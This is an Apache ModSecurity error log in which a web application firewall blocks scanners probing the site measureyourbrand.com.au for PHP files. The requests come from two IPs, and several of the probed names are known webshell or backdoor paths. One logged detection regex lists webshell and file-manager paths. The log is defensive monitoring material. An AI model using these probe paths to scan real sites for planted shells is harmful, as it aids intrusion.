[Tue Mar 31 08:38:48.840386 2026] [:error] [pid 41421:tid 41447] [client 4.204.246.56:7897] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acsXmBSaDjY9kKFtUQBi-QAAARc"]
[Tue Mar 31 08:38:49.251182 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:7902] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acsXmRSaDjY9kKFtUQBi_QAAAQA"]
[Tue Mar 31 08:38:49.664940 2026] [:error] [pid 36982:tid 36997] [client 4.204.246.56:8119] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acsXmflMmeoQKN0r_GN70AAAAMw"]
[Tue Mar 31 08:38:50.079586 2026] [:error] [pid 36982:tid 36985] [client 4.204.246.56:7896] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/plugins.php"] [unique_id "acsXmvlMmeoQKN0r_GN70QAAAMA"]
[Tue Mar 31 08:38:50.509762 2026] [:error] [pid 36890:tid 36911] [client 4.204.246.56:7979] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/alfa-rex.php"] [unique_id "acsXmp8FASPd_uH8z7dGDgAAABA"]
[Tue Mar 31 08:38:50.930163 2026] [:error] [pid 41421:tid 41440] [client 4.204.246.56:7975] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin.php"] [unique_id "acsXmhSaDjY9kKFtUQBjCQAAARA"]
[Tue Mar 31 08:38:51.348302 2026] [:error] [pid 36891:tid 36930] [client 4.204.246.56:8053] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin.php"] [unique_id "acsXm5JhiMaJUqoqfl4x8AAAAEY"]
[Tue Mar 31 08:38:51.770856 2026] [:error] [pid 36891:tid 36931] [client 4.204.246.56:7937] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugin.php"] [unique_id "acsXm5JhiMaJUqoqfl4x8QAAAEc"]
[Tue Mar 31 08:38:52.184865 2026] [:error] [pid 36982:tid 37003] [client 4.204.246.56:7844] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-login.php"] [unique_id "acsXnPlMmeoQKN0r_GN71AAAANI"]
[Tue Mar 31 08:38:52.613415 2026] [:error] [pid 36982:tid 36987] [client 4.204.246.56:7980] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Assets/edit.php"] [unique_id "acsXnPlMmeoQKN0r_GN71gAAAMI"]
[Tue Mar 31 08:38:53.029790 2026] [:error] [pid 36891:tid 36926] [client 4.204.246.56:7882] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Assets/edit.php"] [unique_id "acsXnZJhiMaJUqoqfl4x8gAAAEI"]
[Tue Mar 31 08:38:53.443307 2026] [:error] [pid 41421:tid 41426] [client 4.204.246.56:7926] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Assets/edit.php"] [unique_id "acsXnRSaDjY9kKFtUQBjIQAAAQI"]
[Tue Mar 31 08:38:53.865328 2026] [:error] [pid 41421:tid 41432] [client 4.204.246.56:7863] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/about.php"] [unique_id "acsXnRSaDjY9kKFtUQBjJwAAAQg"]
[Tue Mar 31 08:38:54.278760 2026] [:error] [pid 36982:tid 36997] [client 4.204.246.56:7969] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file.php"] [unique_id "acsXnvlMmeoQKN0r_GN72wAAAMw"]
[Tue Mar 31 08:38:54.699571 2026] [:error] [pid 36890:tid 36916] [client 4.204.246.56:8001] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file.php"] [unique_id "acsXnp8FASPd_uH8z7dGEgAAABU"]
[Tue Mar 31 08:38:55.117916 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:7883] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/file.php"] [unique_id "acsXnxSaDjY9kKFtUQBjMQAAAQA"]
[Tue Mar 31 08:38:55.541331 2026] [:error] [pid 36891:tid 36927] [client 4.204.246.56:7842] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acsXn5JhiMaJUqoqfl4x9wAAAEM"]
[Tue Mar 31 08:38:55.959455 2026] [:error] [pid 41421:tid 41439] [client 4.204.246.56:7945] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acsXnxSaDjY9kKFtUQBjPAAAAQ8"]
[Tue Mar 31 08:38:56.372871 2026] [:error] [pid 41421:tid 41424] [client 4.204.246.56:7894] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acsXoBSaDjY9kKFtUQBjQQAAAQA"]
[Tue Mar 31 08:38:56.787154 2026] [:error] [pid 41421:tid 41431] [client 4.204.246.56:7822] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/pkivalidation/log.php"] [unique_id "acsXoBSaDjY9kKFtUQBjSAAAAQc"]
[Tue Mar 31 08:38:57.205092 2026] [:error] [pid 41421:tid 41430] [client 4.204.246.56:7884] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acsXoRSaDjY9kKFtUQBjTAAAAQY"]
[Tue Mar 31 08:38:57.620019 2026] [:error] [pid 36890:tid 36901] [client 4.204.246.56:7691] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/packed.php"] [unique_id "acsXoZ8FASPd_uH8z7dGFgAAAAY"]
[Tue Mar 31 08:38:58.033942 2026] [:error] [pid 36890:tid 36898] [client 4.204.246.56:7941] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/packed.php"] [unique_id "acsXop8FASPd_uH8z7dGFwAAAAM"]
[Tue Mar 31 08:38:58.452387 2026] [:error] [pid 36892:tid 36971] [client 4.204.246.56:7915] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/packed.php"] [unique_id "acsXokyj9S4G0ek3O4LK4QAAAJQ"]
[Tue Mar 31 08:38:58.866807 2026] [:error] [pid 41421:tid 41445] [client 4.204.246.56:7907] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/user.php"] [unique_id "acsXohSaDjY9kKFtUQBjWgAAARU"]
[Tue Mar 31 08:38:59.279960 2026] [:error] [pid 36982:tid 37007] [client 4.204.246.56:8047] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/user.php"] [unique_id "acsXo_lMmeoQKN0r_GN73wAAANY"]
[Tue Mar 31 08:38:59.692002 2026] [:error] [pid 41421:tid 41444] [client 4.204.246.56:7922] [client 4.204.246.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/user.php"] [unique_id "acsXoxSaDjY9kKFtUQBjYQAAARQ"]
[Tue Mar 31 08:39:01.625547 2026] [:error] [pid 41421:tid 41444] [client 4.204.246.56:7825] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "acsXpRSaDjY9kKFtUQBjegAAARQ"]
[Tue Mar 31 08:39:02.039462 2026] [:error] [pid 36982:tid 37000] [client 4.204.246.56:7886] [client 4.204.246.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-login.php"] [unique_id "acsXpvlMmeoQKN0r_GN74gAAAM8"]
[Tue Mar 31 09:00:08.268192 2026] [:error] [pid 36890:tid 36897] [client 4.223.111.108:12119] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acscmJ8FASPd_uH8z7dQawAAAAI"]
[Tue Mar 31 09:00:08.792808 2026] [:error] [pid 36892:tid 36957] [client 4.223.111.108:12098] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acscmEyj9S4G0ek3O4LSVgAAAIY"]
[Tue Mar 31 09:00:09.321195 2026] [:error] [pid 36890:tid 36910] [client 4.223.111.108:12107] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acscmZ8FASPd_uH8z7dQcwAAAA8"]
[Tue Mar 31 09:00:09.847806 2026] [:error] [pid 36982:tid 37001] [client 4.223.111.108:12159] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-moonka.php"] [unique_id "acscmflMmeoQKN0r_GOItAAAANA"]
[Tue Mar 31 09:00:10.373598 2026] [:error] [pid 41421:tid 41437] [client 4.223.111.108:12034] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acscmhSaDjY9kKFtUQB0sAAAAQ0"]
[Tue Mar 31 09:00:10.901063 2026] [:error] [pid 36892:tid 36973] [client 4.223.111.108:12096] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acscmkyj9S4G0ek3O4LSWQAAAJY"]
[Tue Mar 31 09:00:11.427888 2026] [:error] [pid 36982:tid 36989] [client 4.223.111.108:12121] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acscm_lMmeoQKN0r_GOIvgAAAMQ"]
[Tue Mar 31 09:00:11.953465 2026] [:error] [pid 36892:tid 36967] [client 4.223.111.108:12158] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "acscm0yj9S4G0ek3O4LSXgAAAJA"]
[Tue Mar 31 09:00:12.477966 2026] [:error] [pid 36891:tid 36928] [client 4.223.111.108:12038] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acscnJJhiMaJUqoqfl43uwAAAEQ"]
[Tue Mar 31 09:00:13.004341 2026] [:error] [pid 36891:tid 36947] [client 4.223.111.108:12117] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acscnZJhiMaJUqoqfl43vwAAAFc"]
[Tue Mar 31 09:00:13.543467 2026] [:error] [pid 36982:tid 37009] [client 4.223.111.108:12045] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acscnflMmeoQKN0r_GOIwQAAANg"]
[Tue Mar 31 09:00:14.068791 2026] [:error] [pid 36982:tid 36985] [client 4.223.111.108:12055] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX1.php"] [unique_id "acscnvlMmeoQKN0r_GOIxAAAAMA"]
[Tue Mar 31 09:00:14.594693 2026] [:error] [pid 36892:tid 36963] [client 4.223.111.108:12143] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acscnkyj9S4G0ek3O4LSbwAAAIw"]
[Tue Mar 31 09:00:15.120649 2026] [:error] [pid 36982:tid 36991] [client 4.223.111.108:12149] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acscn_lMmeoQKN0r_GOIxgAAAMY"]
[Tue Mar 31 09:00:15.645891 2026] [:error] [pid 41421:tid 41445] [client 4.223.111.108:12046] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acscnxSaDjY9kKFtUQB0twAAARU"]
[Tue Mar 31 09:00:16.176393 2026] [:error] [pid 36890:tid 36906] [client 4.223.111.108:12047] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "acscoJ8FASPd_uH8z7dQlgAAAAs"]
[Tue Mar 31 09:00:16.703944 2026] [:error] [pid 36892:tid 36964] [client 4.223.111.108:12150] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acscoEyj9S4G0ek3O4LSdwAAAI0"]
[Tue Mar 31 09:00:17.229147 2026] [:error] [pid 36892:tid 36962] [client 4.223.111.108:12105] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acscoUyj9S4G0ek3O4LSeQAAAIs"]
[Tue Mar 31 09:00:17.752933 2026] [:error] [pid 36891:tid 36924] [client 4.223.111.108:12040] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acscoZJhiMaJUqoqfl43yAAAAEA"]
[Tue Mar 31 09:00:18.277724 2026] [:error] [pid 36891:tid 36937] [client 4.223.111.108:12044] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zlnckdxn.php"] [unique_id "acscopJhiMaJUqoqfl43ywAAAE0"]
[Tue Mar 31 09:00:18.801766 2026] [:error] [pid 36892:tid 36954] [client 4.223.111.108:12118] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acscokyj9S4G0ek3O4LSfQAAAIM"]
[Tue Mar 31 09:00:19.327605 2026] [:error] [pid 36982:tid 36988] [client 4.223.111.108:12114] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acsco_lMmeoQKN0r_GOIzwAAAMM"]
[Tue Mar 31 09:00:19.853696 2026] [:error] [pid 36891:tid 36943] [client 4.223.111.108:12050] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acsco5JhiMaJUqoqfl430AAAAFM"]
[Tue Mar 31 09:00:20.385031 2026] [:error] [pid 36890:tid 36902] [client 4.223.111.108:12108] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-thi.php"] [unique_id "acscpJ8FASPd_uH8z7dQogAAAAc"]
[Tue Mar 31 09:00:20.911322 2026] [:error] [pid 36891:tid 36930] [client 4.223.111.108:12116] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acscpJJhiMaJUqoqfl430wAAAEY"]
